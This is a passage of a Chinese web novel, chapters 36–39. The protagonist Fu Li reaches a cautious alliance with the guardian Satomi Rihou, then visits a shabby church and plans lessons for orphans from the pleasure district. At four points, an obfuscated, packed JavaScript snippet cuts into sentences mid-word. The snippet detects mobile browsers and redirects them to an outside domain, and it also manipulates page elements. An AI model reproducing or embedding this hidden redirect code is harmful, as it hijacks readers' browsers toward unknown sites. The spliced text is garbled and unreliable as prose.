里见莉芳双手交叠搭在膝上,坐姿端正挺拔,让人想起直立的松,他道:“没有得到想要的结果,但我已经知道了你的答案。” 这是一句拗口且意义不明的话,但扶黎莫名明白了话中的意思。 对方没有获得有关自己身份的有利信息,这是失败的结果,同时对方也清楚了自己会三缄其口,保留他觉得需要保留的信息,即使开口,说出的话是真是假也未可知,因此不必再问。 “很高兴您能这样谅解我。”扶黎忽的收起笑容,端正坐姿,上身微微前倾:“我有自己的难处,但如果什么都不说,没有信任的相处更难以维持。” “接下来所说的,我保证全部真实,但信不信由您自己判断。”扶黎神色诚恳,盈盈的大眼睛里好像闪着粼粼水光。 里见莉芳沉默地坐着,就像一尊漂亮的人偶,既不开口说话也不显露多余情绪。 扶黎之前讨厌话多的男人,现在他改变想法了,话少的男人也让人招架不住。 一片令人无所适从的沉默中,漂亮人偶终于屈尊降贵点了下他高贵的头颅:“愿闻其详。” 闻言,扶黎回头看了眼厨房的方向,确定他们一时半会儿不会出来后,他端起桌上刚泡好的花茶,指尖轻轻摩挲杯壁,温度透过薄薄一层玻璃侵染上他的手指:“从哪里开始说呢?” 另一只手抵着下巴,扶黎喃喃自语般:“有关玉梓姬的事我的确知道一些,但也就那么一点点。” 扶黎伸出左手大拇指和食指比了个一丢丢的手势:“比如她的身份,这样虽然隐秘但无伤大雅的信息,以及你们正在寻找八颗明珠,不过请放心我并没有迫切需要实现的愿望,也不相信一个传说中的女人可以实现一切,我甚至怀疑它是一个陷阱。所以,我来这里的目的只有一个,找到那个女人并带走她。” 对方终于主动出声询问:“带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14174457|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到哪里去?” 扶黎眨眨眼,不肯说:“这也是个秘密,我只能保证不是带她去享福,当然如果不行我可以退让一步,当场处死她或许也是一个不错的主意。” 他的话语直白又残酷,说出口时却又如此平静,反差巨大,但想到将要这些遭受的对象是谁,又不是那么残酷了。 扶黎看不住这些话有没有打动里见,和喜怒不行于色的人打交道就是这点不好,你没办法从他们脸上看出任何一点端倪。 杯中热气袅袅,并没有说很多话的扶黎忽然感到一点口渴,他低头啜了一口,然后就被烫了下舌头。 悄悄吐了吐了舌,扶黎放下茶杯,准备过会儿再喝。 一只手忽然伸过来,白皙修长的手指拎着一个不大的茶壶,扶黎慢慢抬头看向对面。 “温水。”里见莉芳依旧惜字如金。 扶黎怔愣了下,忽的反应过来刚才烫到的样子被看见了,顿时后知后觉地不好意思起来。 面上却不露分毫,镇定自若地托起杯子,水壶立刻倾倒,水缓缓流出,涌入滚烫的热水,热气被打散,变成细细几缕。 快灌到离杯面差半厘米,手腕灵巧翻转,水壶被提了回去,“咔哒”一声落在桌上。 看着快溢出来的茶水,扶黎小心翼翼凑近杯子喝了一点点,虽然还是有点烫,但与之前相比至少能入口了。 “谢谢。”扶黎矜持地又喝了一大口,感觉对方态度有所松动,大脑顿时飞速运转,艰难思考该如何乘胜追击。 该说的都已经说了,其它的就算说出来也像编的故事,这里有妖怪,有土地神,有各种各样奇奇怪怪不是人的生灵,但地狱确实没人亲眼见过,这都多亏了鬼灯御下有方。 没有哪个狱卒敢在不经伪装的情况下出现在人前,偶有失误,上来就是一套失忆组合拳。 想着想着,他的思维不由自主开始发散,有点收不回来,正努力往回拉,对面里见莉芳已经站起了身,扶黎有些茫然地看过去。 青年垂着长睫,清透的眼珠儿和他对视,声音低沉又有韵味:“既然事情已经交给了信乃,我不会过多插手,他觉得可以信任那就按他的意思来做,今天这回是一次不太礼貌的突然袭击,希望你能谅解我作为监护人的心情,也不必一直对我尊称为您。” 两人的情况瞬间反了过来,刚刚还是扶黎再恳请谅解,现在就变成了对方恳请。 不过这一切都建立在他的谈话对象足够有礼、冷静的基础之上,否则他完全不必说前面这几句,甚至还透露了自己是故意挑时间回来这一点。 面对尊重自己的人当然要回以尊重,扶黎深谙这一点,当下回应:“当然当然,这很正常,对此我没有任何意见,那么……合作愉快?” 里见莉芳主动伸出手:“合作愉快。” 扶黎毫不犹豫握了上去,手掌相触,一人手偏暖,一人手偏冷,初步合作再此达成。 36.第 36 章 合作暂且定下,虽然什么章程都没有,显得非常不专业像个草台班子,但至少表明了对方不会再对他进行深究,也算是取得了一定进展。 话谈到这里,厨房里庄介和信乃“叮铃咣啷”一阵忙活后,也终于结束了收尾工作。 信乃边甩着手边往外走,庄介紧随其后忽的一把揪住他衣领,在信乃叫起来之前,一块毛巾“啪”地搭在他脸上:“不要滴滴答答把水弄得到处都是,地毯打扫起来很麻烦,你也不希望因为晾不干地毯我就把它撤了吧。” 不!!! 冬天把脚踩在暖融融的地毯上,才让人有勇气在这么寒冷的天气里活下去,要是没了地毯这个冬天还有什么意思,根本待不下去,整个客厅看起来都冷冰冰的。 撇撇嘴将未出口的话咽回去,扯下脸上的擦手布,刚擦了一下信乃目光忽而一凝,盯着这块布看了起来:“如果我没猜错,这是不是刚在厨房里拿来擦台面水渍的抹布?” 庄介竟然点了点头:“是啊。” “……”信乃看起来要气爆了:“抹布你干嘛放我脸上?我的脸是什么脏东西吗?!” 面对“质问”,庄介依旧不急不缓:“只是拿来擦水渍的,又不是抹油污的,不脏。” 甚至还催了起来:“赶紧的,擦完了我好回去把你刚溅地板上的水拖干净,地毯上的水不容易干,你自己把那个火盆拿过来烘一烘,别直接放在地毯上,烘完再端回去。” “好烦啊——”信乃被念叨得直大脑嗡嗡,但还是边抱怨边擦干净手,然后去端炭盆,生动诠释了口嫌体正直这个词的意思。 扶黎见他空着手就要去碰炭盆,下意识拦了一下,有点惊讶地问:“你不拿个东西垫一下吗,这碳烧的正旺,碰一下就得燎个泡。” 信乃看看自己的手,再看看通红的炭火,连忙缩了回来干笑几声:“哈哈,我不小心忘了。” 说完便去找了防烫手套戴上,再这之前还需要一个放炭盆的小架子,他从厨房柜子里找到了一个用几根粗钢丝绕成的空心三角架,放上去刚刚好,可能本来就是配套的。 连盆带架放到地毯上,这个地方离沙发比较近,取暖效果也变得更好了,他一下子就有点想就一直放在这里。 信乃脸上藏不住事儿,一旁里见莉芳看见他的表情就知道他在想什么,提醒道:“炭盆放地毯上太危险了,火星子溅出来一点就着,毯子干了就拿走。” “咦,你还在这里啊?”信乃才发现般,惊奇地看了过去,眼里满是真诚。 扶黎:“……” 里见莉芳:“……” 金发美人克制地闭了闭眼,同时蹙起眉头,一副头痛的样子,大概被信乃气得够呛。 “算了,我还有事先去书房,你别忘了我刚才说的事。”说完里见莉芳便起身上了楼。 直到他的身影消失在楼梯拐弯处,又过了一小会儿楼上传来很轻的一声关门声,扶黎才看向信乃好奇问道:“你是故意的吗?” 信乃一头雾水:“什么?” 扶黎:“就假装没看见你的监护人啊。” “当时不是!”信乃强烈否认,表示自己才没那么孩子气:“你也看到了,刚才我一直在跟庄介说话,还被他叨叨了一通,到处忙活根本没想起来这回事。” 说着,信乃卡壳般顿了一下,一脸疑惑:“你怎么知道他是我监护人?我好像没说过吧?” 他开始仰着脑袋使劲想,怀疑自己生过病后记忆力衰退,不由心里又把玉梓姬臭骂了一顿。 扶黎轻笑:“刚刚我们聊了几句,有说到这个,还有你是没注意到,我看倒是把你监护人气到了。” “是吗?”信乃抓抓头发,左看右看,有那么一点点不好意思:“但我真不知道,平时他一回来就会去书房,根本不会在外面待这么久,也不会和我们一起吃饭,每天都很忙……” 信乃说到这里觉得自己也很无辜,谁能想到莉芳一反常态在这儿呆了这么久,想到待了这么久,信乃动作一顿,转头去看扶黎:“你刚跟莉芳两个人待在这里吗?” 扶黎“是啊。” 信乃一捂脸,有些抱歉:“不好意思,虽然莉芳不是坏人,但让你和他单独待在一起还是太强人所难了,很难和他聊起来吧。” 扶黎笑着摇摇头,确实是不适合聊天,但也没有信乃说得那么令人难受,毕竟美人光是坐着边赏心悦目,没话说他还可以欣赏美色。 “我看他回来就是想看看我到底是谁,也是担心你被坑,说不定还为此特意放下了自己的工作。” 信乃被说得有了那么一点点动摇,别别扭扭道:“那我给他送壶茶上去。” 这已经是信乃能做到的极限,身为一个傲娇,在这种小事上他很难低头,要不是扶黎提醒,他可能都不知道莉芳今天这么早回来的原因。 怀着这样的心情,信乃在庄介的帮助之下泡了一壶茶——没办法,自己泡的茶实在不咋地,送上去不知道也是在感谢还是报复。 茶泡好,信乃端着茶盘屁颠屁颠爬上楼,过了一会儿又屁颠屁颠跑下来,脸上还笑嘻嘻的。 扶黎好奇探头:“怎么了?上去一会儿喜气洋洋的。” “嘿嘿。”信乃也不藏着掖着:“莉芳多给了我一点零花钱。” 他美滋滋从口袋里拿出几张票子来给扶黎看,都是新钞,虽然面额不大,但也是一笔小小的财富,对于不需要养家买菜的信乃来说,足够支持他平日里的爱好了。 庄介的关注点永远在别的地方:“跟里见先生说谢谢了吗?” “说了说了。”信乃这会儿正高兴,也不介意庄介把他当小孩儿一样管东管西:“没想到莉芳还吃这套,下次再试试。” 扶黎提醒他:“不要抱着得到好处的想法去噢,你的监护人又不是傻子,小心偷鸡不成蚀把米,下次把你零花钱罚光。” “啊?会这样吗?”信乃半信半疑。 扶黎看他,表示你觉得呢? 想想自己曾经被断过的零花钱,信乃又有点不想去试一试了。 算了算了,现在钱也够花,何必为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14192949|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一点点小钱把长期零花断掉,扶黎说得对,莉芳是个聪明人,在他面前耍心眼很容易被拆穿,顺带一番冷嘲热讽。 把钱塞回口袋,信乃拍拍手:“好了。”然后看向扶黎:“要不要去楼上,有个大家都能用的书房,里面很多书,冬天没什么娱乐活动,大家都喜欢找几本书看看打发时间,种类很多,不想看严肃文学也有市井小说。” 扶黎听了觉得不无不可,书籍可以更好地让人了解一个陌生的世界,于是道:“那就去看看吧。” 这座别墅的每层挑高都不低,公共书房在三楼,扶黎顺着楼梯缓步而上。 出了楼梯,他们来到一条长长的走廊,走廊一侧全是房间,另一侧则分成两部分,一部分是落地大窗,为建筑的内凹部位,为整个三楼带来了充足的采光,另一部分看起来是一个很大的房间,因为墙壁上只有一道门,房间足有半个别墅那么宽。 信乃走到那扇门前,拧开把手推门而入。 扶黎跟过去站在门口往里看了眼,不由睁大了眼,映入眼帘的是满墙书籍,几乎从地面堆到天花板,三面墙都满满是书,而除了墙上之外,还有五六个书柜单独放置着,也都塞得七七八八。 书房正中央是两个长沙发,正对放着,中间一个圆形茶几,上面堆着些饼干之类的小零食。 朝南的墙上开了几扇窗户,此刻窗帘全部拉开,房内一片亮敞。 信乃扑到沙发上,随手捡起一本落在地上的书,翻了翻发现不是自己感兴趣的,于是又放回去了,重新拿了本自己之前看过一半的。 庄介蹲在一旁收拾乱糟糟的地面,散落的书检查过后一本本摆回书架上。 地上这些应该都是小狐狸们看完没收回去的,它们不像人类会坐在椅子或沙发上看书,它们更喜欢趴在地上,几只团在一起,要是看累了还能就地打个滚,从地毯这头滚到那头。 好在兽神不易掉毛,不然就等着每天在这里清理毛发吧。 扶黎一个人走到墙上的书架前,从左向右浏览。 没有因为是家庭式的图书区就随便摆放书籍,所有书脊朝外,并且做了简单的分类,有这边世界的古今名著,当地的小说杂谈地方志,还有些专业类书籍。 扶黎目的明确,伸手取下一本地方志,书已经很旧了,看起来是很久之前的东西,书页被翻得起了毛边,但里面保存得尚且完好,字迹清晰可辨。 扶黎大致翻阅了一遍,又放回书架上。 里面内容不多,类似于野史,记录了帝都的历史变化以及周边地图,包括不被教会承认的四兽神的志怪故事。 但这些对扶黎没有太大帮助,都是他已经知道的内容,仔细想想,他要对付的家伙完全不可能在这些书里找到什么有用内容啊。 人家长了腿满世界跑,这书又不能帮他定位。 颓丧地揉了揉脑袋,扶黎不由思考自己是不是有什么大毛病。 算了算了,不操那闲心,车到山前必有路,那女人总不能躲一辈子,他就在这儿守株待兔了,不信她不来。 37.第 37 章 放下了找线索的事儿,心情一转变,扶黎就有心思去看其它书了。 一面墙的书挑挑拣拣了半天,勉强找到一本他乐意看的,上面的他没去找,因为要爬梯子。 拿着书刚坐到沙发上,信乃就凑过来看他的封面:“噢噢,你喜欢看这种啊。” 扶黎拿的是一本推理小说,经典本格推理,追求破案线索和手法,比较烧脑。 信乃之前看过这本,于是一个劲儿给他推荐:“这个很不错的,推理细节很完整,找不到什么破绽,是本好书。” 夸完这个还要踩其它类型一脚:“不像那些一个劲儿渲染恐怖气氛的,好好的推理搞得像恐怖小说,整个逻辑链也不清不楚,要这样还写什么推理,干脆直接写恐怖类型算了。” 信乃对此颇为怨念,他之前就被书店里的营销介绍骗到过,书封上老大的推理两个字,结果买回来一看各种变态心理描写,活像鬼故事,看的当天晚上他就没睡好,第二天还要被滨路笑没胆量。 现在那本书还不知道在哪个犄角旮旯里生灰,真是白费他一笔书费,不如买俩冰激凌吃进肚子里。 扶黎安慰地拍拍他的肩,送给他一颗随身带的糖果,这是他平时拿来哄阿福跟阿年的,按俗话说就是哄小孩儿。 一直强调自己不是小孩子的信乃却一点没察觉,高高兴兴就接过了糖果,拨开糖纸扔进嘴里,然后表情惬意地在沙发上翻了个身继续看书。 三人在书房里安安静静的,一时间周围除了“滴滴嗒嗒”的秒针走动声,只剩下偶尔的书页翻动声。 扶黎渐渐看得入了神,看完一页就立刻往下翻,中间完全没停下让眼睛休息过,眼看着是今天要全部看完的架势。 “你们继续看吧,我出去一趟。”一片寂静中庄介忽然出声,一片枫叶状的书签被夹进书页。 看得如痴如醉的信乃慢半拍抬头,他懵懵地看了看庄介,表情茫然,仿佛一台尚未启动的机器,过了几秒才终于反应过来,他一扔书:“你要去哪里?教会吗?我也要去!” 庄介正将书放回书架,听了便一口拒绝了他:“你在家里陪客人,哪有自己跑出去,让客人一个人待在这里的道理。” “啊……”信乃忽的一愣,这才想起自己还邀请了扶黎来家里做客,他尴尬地扭头去看扶黎,感觉很抱歉,纠结了一下艰难地下决心:“算了,我就不去……” “别啊。”扶黎忽然打断他们的对话:“你要是想去就去啊,不过一个人待在这里确实不自在,要不你们带我一起去吧,正好我也想看看那边是什么样的。” 信乃给他打预防针:“不是什么好地方哦,反正到处都是破破烂烂的,完全不是帝都该有的样子,唯一好点的街区还是花街,但不适合我们这种正经人进去啦。” 扶黎对此不甚在意,他挑挑眉:“好地方我也去过不少,到这里主要是想见识见识不同的风土人情,不管好的差的都要看一看,如果都是好的那就不够真实了。” 见他确实想去,而不是刻意迁就自己,信乃这才高高兴兴应承下来。 去的时候依旧是骑马,两匹马儿吃完饲料休息的差不多,这会儿正在马厩里昂着脖子往外看,时不时后蹄蹬两下地面,打着响鼻。 扶黎拍拍马脖子,一马一个糖块塞进外翻着嘴皮子滑稽地露出牙齿的大嘴里,然后迅速翻身上马。 信乃还是坐在庄介身前,这次倒是没再嘀嘀咕咕着抗议,乖顺得很。 扶黎一夹马腹,身下黑马立刻小跑着跟上前面的庄介他们。 在内城骑马不比城郊,道路没那么开阔,再加上下午愿意出门上街的人变多了,骑马就得小心着些不能太快,不然很容易出事故。 慢悠悠在城中路上左拐右拐,不知道拐了几个弯,在扶黎觉得再这么拐下去他就不记得回去的路时,前面庄介终于慢了下来,回头高声道:“到了,马栓到教堂的院子里,前面这个稍微大些的建筑就是这边的教会了。” 两匹马“哒哒哒”跑进了院子,扶黎翻身下马,牵着马缰绳没去拴,反而先四周看了起来。 说这里是教会实在寒碜,帝都中心的教会白墙黑瓦,就连阶梯都是大理石铺就,名贵的颜料在琉璃窗上绘制出一幅幅精美图案,屋顶繁复的吊灯垂挂下来,熠熠生辉,照亮整个空间,任谁都能看得出来花了大价钱建造和维护。 往来教士信徒也个个衣衫革履,长裙华美,打扮精致有格调,他们大把大把散出金钱,只为求一个不知是真是假的安心。 而这里的教会灰扑扑的,没有任何一点亮眼存在。 青灰色砖块垒成高墙,墙壁上满是岁月的痕迹,划痕擦痕随处可见,小部分砖块颜色也不一致,让整个墙面看起来像是打了好多补丁,看起来就不富裕。 院中也仅有一条用灰色砖块铺成的小路通向教会正殿大门,其它地方全是最原始的泥土,现在看着还算不错,蛮有田园风光,但一下雨肯定满脚泥泞。 唯有教会正殿的的大门看着还算像些样,无论是通体实木,还是其上铜制的门扣,以及巨大的尺寸,都在彰显着沉重与庄严。 只是扶黎总觉得这么大这么厚的门是有原因的,比如只是为了保护这座教堂为数不多的财产,门越大就越难偷走,门越厚也就越难破门而入,看来这里是真的很不安全,连教会都得时时刻刻防着。 不知道是不是庄介他们最近来得不勤的原因,院子里积了不少落叶,再被雨水一泡,看起来脏兮兮。 庄介拿了扫帚去清扫落叶,一块儿一块儿地全部堆到院中角落,等着它慢慢腐烂变成肥料。 这是一项大工程,一时半会儿没办法干完,信乃打了声招呼就跑进教会大门,扶黎当然是跟进去,走前赶紧把马栓上。 教会光线并不好,里面到处都是昏暗的,信乃一跑进去就不见了人影。 他左顾右盼,见后门开了道能容一人通过的缝隙,想着信乃是不是从那儿跑出去了,正要走过去看一眼,突然发出一声惊呼,脚下一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14245167|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趔趄,连退几步。 只见黑乎乎的视野里,冷不丁出现两张仿佛干枯橘子皮般皱巴巴的老脸,油灯带来的光线自上而下渲染出嶙峋的阴影,简直完美呈现了恐怖片里的出场效果,任是谁也会被吓一跳。 扶黎捂着自己“噗噗”直跳的小心脏,现在还没缓过劲儿了,仔细一看才发现,只是两个长得瘦瘦小小的老太太而已,不知道是不是亲姐妹,反正光看长相现在已经变得一模一样,很难分辨了。 两张满是皱纹皱巴巴的脸上唯有一对大眼睛分外突出,这会儿正紧紧盯着扶黎,并且一言不发。 扶黎略感不安,他试探着开口:“请问,两位是?” “噢,看来是庄介带过来的朋友。” “欢迎年轻人们过来,这里只有我们两个老太婆,很多活儿都干不了。” “年轻人过来的越多越好,这样我们也能松快松快。” “老胳膊老腿的,干不了了。” 两个老婆婆说起话来跟连珠炮似的,年纪大倒是不影响她们中气十足。 并不是来干活的扶黎这下都不知道该说什么了,只好敷衍地点点头,下意识笑了笑。 幸好信乃很快就从后门跑了回来,他挡在扶黎面前,小小的个儿大大的气势:“你们不要每次都这样出来吓人,都吓过别人多少次了!” 老婆婆慢悠悠的:“我们可没有故意吓唬人,只是走的慢些,你们没听到脚步声罢了。” 另一个老婆婆:“现在的年轻人真是胆小,看到两个老人家都会吓成这样,不中用。” 扶黎感觉自己有被顺路嘲讽到,天地良心,他的胆子可不小,要是胆小在地狱怎么工作的下去,这是冷不防忽然冒出来才会被吓一跳。 信乃可不吃这个亏,委屈不了一点,叉着腰就道:“走路不出声可以开口啊,再不济不要贴到近前还提着油灯给自己打光,我看你们就是成心的!” “哎,现在的年轻人真的一点都不知道尊敬老人。” 信乃一点不受这道德批判的影响,哼了一声:“现在的老人一点不知道体恤年轻人,就知道让年轻人干活儿。” 这三个要是继续吵下去不知道要吵到什么时候,扶黎只好出来打岔,把话题带走:“信乃你刚去哪儿了?怎么我一转眼你就不见了。” 信乃:“去后面了。”他伸手一指后门方向:“那后面还有几间屋子,有些花街出来的孩子住在那里,他们没有身份上不了正常的学校,所以我有时候会过来教他们读书认字。” 扶黎:“今天也是过来给他们上课的吗?” 信乃摇摇头:“只是顺道过来看一下而已,我身体还没恢复好,上课又很耗精力,可能一节课都上不完就会累了。” “小子,你生病了吗?”旁边的老婆婆忽然开口问,之前的吵嘴仿佛没存在过。 信乃点点头,没把实话全说了,只道:“是生了场大病,几个星期没下得来床,最近才好了些,身体伤了元气就容易累。” 38.第 38 章 两个老婆婆没牙的嘴瘪着动了动:“怪不得前些时候你们没来,我还去问了莉芳,他只跟我们说你去办别的事儿了,原来是生了病没法出门,看来这场病很是凶险啊。” 可不是凶险,比起他没被村雨附身前那胎里带来的病也不遑多让,甚至更险更急,差点一睡不醒。 信乃不愿意诉苦,也不愿意示弱于人前,他挺起胸膛摆摆手,一副都是小事的样子,一点不提自己昏睡了多长的时间,刚醒的时候浑又有多难受。 但已经活了大半个世纪的老婆婆们到底是见识不少,猜也能猜出几分,于是语气柔和了不少:“身体不好就在家里再养养吧,这里的孩子也不着急早上那么几天课,要是你身体一直不好他们才难过。” 信乃挠挠脸抬头望天:“都养得差不多了,而且一直闷在家里对身体也不好……” 说着说着他语气忽然急躁起来,像是想用不耐烦来掩饰自己的不好意思:“行了行了,你们年纪这么大才应该多养养,天气这么冷就别老是出来了,省得一病不起没人照顾。” “哼,老婆子们身体好的很。”老太太不高兴了,扭脸就走。 信乃倒是求之不得,要继续跟这两个老太太耗下去,不知道要耗到什么时候,她们自己走了倒是省了他的力气。 “扶黎,要跟我去后院看看吗?”现在热情地邀请:“这边很少有人愿意来,孩子们要是看到你一定会很高兴。” 扶黎不怎么自信道:“可我不太会带孩子。” 信乃哈哈乐了,直道:“不需要你带,花街的孩子从小就靠自己,能长这么大什么事都得会自己做,你要是能教他们点手艺知识什么的,他们估计会更高兴。” 离开花街不是件容易事,男孩儿长大了还能出去找些力气活儿干干勉强糊口,就算不离开花街也不过是日子不好过些。 但女孩儿是万万不能长久留在这里的,且不说这里对于一个正处花季的少女来说有多危险,就说她们长时间待在这里耳濡目染之下,难保不会走上她们母亲的老路。 要是会点手艺,不说旁的,哪怕只是会做些针线活儿也有衣裳铺子愿意收了她们做学徒,要是再识些字学些礼仪,也可以去城中富贵人家做个丫头仆人,总比待在这里的好。 教会能把他们接过来,给他们吃给他们穿已是仁至义尽,其它的都要靠他们自己努力,白得的总是会让人不珍惜。 扶黎想了想自己这一身“才艺”,他会的的确不少,可是—— “我也不一定能教上他们几天,这么点儿时间够学个什么?”扶黎可不想揽下活来,后面又干不成,他是个实事求是的人,不喜欢半途而废。 信乃只是提了提这事,并不指望扶黎真的过来教这些孤儿,这么一听,对方竟是真的想了要教什么内容,连更后面的事都想到了。 信乃不由感兴趣,边往后院走他边问:“你原本想教什么?” “应该问他们想学什么。”扶黎对此自信满满:“我会的东西可不少,琴棋书画不说多么厉害也都可圈可点,不过在这里他们学琴棋书画没什么用处,既耗钱财又耗时间,还讲求天分,不如学些实用的,像是打算盘、刺绣、裁缝之类的。” “这些你都会?”信乃瞪大了眼,不可置信地看过来。 扶黎点点头一点没觉得有什么可惊讶的,活了那么久,无聊的时候总得找点东西打发时间,就这样这个学学那个学学,一不小心就学了一身的技艺,虽然平时用不上,但也不影响他到处捣鼓。 两人说着话便来到后院,这里和前院一样有着大片空地,春夏两季院子里应该种了许多瓜果蔬菜,现在还能看到挂着枯藤的爬架,角落里有刚刚翻耕过的土地,因为冬天天冷不好下种子便暂且放着,留待来年春天撒菜种。 除此之外,其他地方都是枯死的杂草,倒是很适合孩子在这里玩,摔上一跤也没什么大碍,最多蹭点枯草屑在裤子上不好弄下来。 信乃刚知道自己带了个不一般的老师过来,这会儿还有点懵,缓过神后又有点不知道该说什么。 他只是个业余老师,长这么大却从没真正去外面工作过,以至于到了=这时候也不知道该教这些孩子什么,才能让他们长大后能够以此谋生,活得不那么艰难。 想到这里他不由抬眼望向身前,几个孩子正在草坪上踢足球,那足球也不知道是从哪里捡来的,球身上很多黑色刮痕但却洗的很干净,这是他们难得几样玩具中的一个,因此大家都很珍惜轮流着玩儿。 生活虽然拮据,但因为有教会搭把手,他们不愁吃喝所以过得还算开心,也并未体会到讨生活的辛苦,但这一天不会永远不来,两个老婆婆面上不显,其实忧心忡忡,这才让莉芳找人过来这里当老师,信乃就是那个被抓过来的壮丁。 扶黎身为过来人倒是有些经验,此时看信乃的烦恼样,也不介意给他一点点帮助。 他想了想:“先学珠算吧,不管之后能不能做上账房先生,至少把钱先算清楚也练练脑子,省得以后被骗,而且珠算学起来不需要太多时间。” 在这个小世界的进程里,学校已经开始兴起,家境好的上贵族学校,家境不好的有能力也要去读上几年书,所以比起那些正经上过学的人,在部分工作的竞争上,没有户籍无法上学的花街孩子毫无胜算。 因此按扶黎的想法,除了识字算术,其它学校里会教的他们都不必特意去学,不如去学些手艺,靠着手艺吃饭也能稳当些。 他把这样的想法耶跟信乃说了:“木匠、瓦匠、裁缝这些的肯定不讲究有没有上过学,只看手艺好不好,你们要是有条件,可以给他们找几个师傅去当学徒,做学徒的日子虽然辛苦,但只要熬过那几年把手艺学到手一切都是值得的,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314437|149930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们没有别的选择。” 这好像替信乃打开了一扇新世界大门,他喃喃自语:“手艺人,手艺人,大角是人偶师,这应该也是一门手艺,我去请他帮忙他会答应吗?不过人偶师应该很讲天赋,很难学会吧……” 信乃在脑中疯狂搜刮这自己的人脉,竟还真被他找出来几个有用的,只是想着想着他又开始疑惑,这种事别人都没想到吗?教会的渠道肯定比他多,也不可能想不到这一点。 不过很快信乃便想通了,整个帝都那么多孤儿,教会又能够帮多少,也不是没有别的事做,就算知道怎么才能最大限度地帮助他们,也不会真的耗费精力去一个个帮扶,只能整体去稍稍托举一下,其它全靠个人努力和命运。 而现在很幸运的,信乃成了这些孩子们命运中的一环,便可以让他们少吃些苦少绕些弯。 定下了目标后信乃整个人都积极起来,他筹措着教学用具:“这里好像没有算盘,我回头去街上淘几件旧货 ,几个人合用一个应该就行。” 扶黎赞同:“条件不允许就没必要硬是人手一个。” “嘭”一声,一只足球忽然砸过来,落在距离他只有二十公分的草地上,扶黎下意识拉着信乃后退一步,避开了球的再次反弹,一只脚踩住球让它停下抬头看去。 只见两个小男孩儿朝正朝这边跑过来,到了近前连忙道:“对不起,对不起,不小心踢歪了,没砸到你们吧?” 信乃上手在他们脑袋上使劲搓了搓,一副恶狠狠的样子:“踢球小心着点,上次差点砸到佳穗,这次又来砸我了,小心踢坏了教会的玻璃被赶出去。” 佳穗是这里的一位盲眼小女孩,因为眼睛看不见做很多事都不方便再加上生性安静,信乃总是多照顾他几分。 被信乃凶的小男孩脚尖抵着地蹭了蹭,不太好意思:“都是意外都是意外,我之后一定小心,不会在人多的地方踢了。” “行了,除了这里你还能在哪儿踢。”信乃本来就没多生气,见他道歉这么诚恳更没别的话了,他看了看这空旷的院子:“我看能不能找点网在这儿圈一个区域出来,你们要踢就在网里面,不要在外面把球踢得到处飞。” “需要网吗?”那男孩一听立刻想到什么,兴奋道:“仓库里有一堆没用的网,好像是很久前淘汰下来的,我们以前进去玩儿的时候看过,除了几个破洞之外其实非常结实也很大一片,好几张呢~~” 信乃:“真的吗?在哪里?带我去看看。” 要是有现成的就不需要另外花钱了,这对信乃的钱包非常友好。 教会的仓库也建的很大,但里面堆的只有一些可以称之为破烂的东西,不知道多长时间没打扫了,门一开扑面而来一股灰尘味儿,呛得信乃当场咳嗽不止。 扶黎一只手捂住口鼻,一边挥了挥衣袖,勉强给自己清理出一点呼吸的余地。 39.第 39 章 “天,这里还真有不少东西。”信乃刚平复完呼吸后,打眼一扫便惊讶出声。 眼前的仓库却是很大,不仅大而且还很高,挑高几乎达到四五米,但就算这么的容积也被堆的挤挤攘攘——不知道从哪儿来的烂木头,修房子剩下的砖块瓦片,旧的不成样子的桌椅板凳,总之各种破烂没啥好东西,如果有好东西也早晚被偷了。 “渔网在哪儿呢?”信乃看着面前的一片“狼藉”:“不会要在这么一堆里去找吧。” 那可就是大海捞针了。 “不用!”带路的小男孩拍拍自己的胸脯,一脸自信:“我记得位置,你们就在这儿等着,我和阿虎过去就行,里面东西堆得太乱人多了反而不方便。” “你行不行啊。”信乃一脸的不信任:“别到时候网没找到,卡在里面出不来。” 小男孩儿名叫笃志,刚开始的时候还跟信乃产生过冲突,非常的头铁加不服输,不过后来因为一些事两人关系渐渐有所缓和,笃志也变得坦率了许多。 